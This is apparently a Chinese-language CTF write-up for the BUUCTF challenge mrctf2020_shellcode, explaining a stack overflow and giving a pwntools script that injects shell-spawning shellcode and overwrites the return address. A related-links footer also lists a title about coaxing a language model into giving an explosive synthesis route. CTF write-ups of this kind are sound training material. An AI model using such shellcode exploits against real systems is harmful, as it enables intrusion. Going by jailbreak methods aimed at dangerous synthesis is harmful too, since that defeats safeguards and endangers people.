buuctf中的mrctf2020_shellcode

首先checksec检查保护机制:

-64位程序

-got表不可写,地址不固定

接下来使用IDA反汇编分析:

这里我这里反汇编不了,所以只能看汇编代码了,首先看到buf的长度为0x410,下面调用了puts函数和read函数,read函数则是读入了0x400个字节的数据到buf中,由于上面没有开启NX保护,所以考虑shellcode注入,虽然read只读入了400个数据,但是依旧可以触发栈溢出

下面可以看到retn前并没有pop rbp,也就是说这里并没有rbp,所以偏移就是buf的长度即0x410

这里先在gdb中运行程序后输入i r查看寄存器信息:

那到rsp也就是栈基地址,下面的shellcode就是注入在这里

基本信息拿完就可以写攻击脚本了:

python 复制代码
from pwn import *
context(arch='amd64', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',27977)              # 与在线环境交互。

shellcode = asm(shellcraft.sh())
offset = 0x4100
buf_addr = 0x7fffffffdaf8

payload = shellcode.ljust(offset,b'a') + p64(buf_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

拿到shell后手动输入cat flag拿到flag

相关推荐
阿部多瑞 ABU7 分钟前
ADRO实战:用渐进式诱导“聊出”TATP完整合成路线——某国产大模型红队测试实录
安全·ai
utf8mb4安全女神11 分钟前
Linux网络服务
linux·运维·服务器
vortex528 分钟前
Linux PAM 配置详解:从原理到实战,彻底阻断非授权提权
java·linux·服务器
ZPC821031 分钟前
Linux Preempt-RT 实时内核 ** 抖动(Jitter)** 完整测试方法
linux·运维·服务器
2501_9200470334 分钟前
openclaw在ubuntu系统的安装
linux·运维·ubuntu·openclaw
一个人旅程~1 小时前
linux如何“抢”过windows的usb移动硬盘权限对0磁道损坏的移动硬盘进行尝试修复
linux·windows·经验分享·电脑
@insist1231 小时前
信息安全工程师-工控安全产品体系与行业实践全解析
网络·安全·软考·信息安全工程师·软件水平考试
Agent手记2 小时前
制造业生产安全隐患智能识别系统落地指南 —— 结合企业级Agent构建国产安全闭环防御体系
人工智能·安全·ai
@insist1232 小时前
信息安全工程师-移动应用安全核心知识体系与备考指南
安全·软考·信息安全工程师·软件水平考试
无风听海2 小时前
OAuth 2.0 client_id深度解析:从规范到安全实践
安全·oauth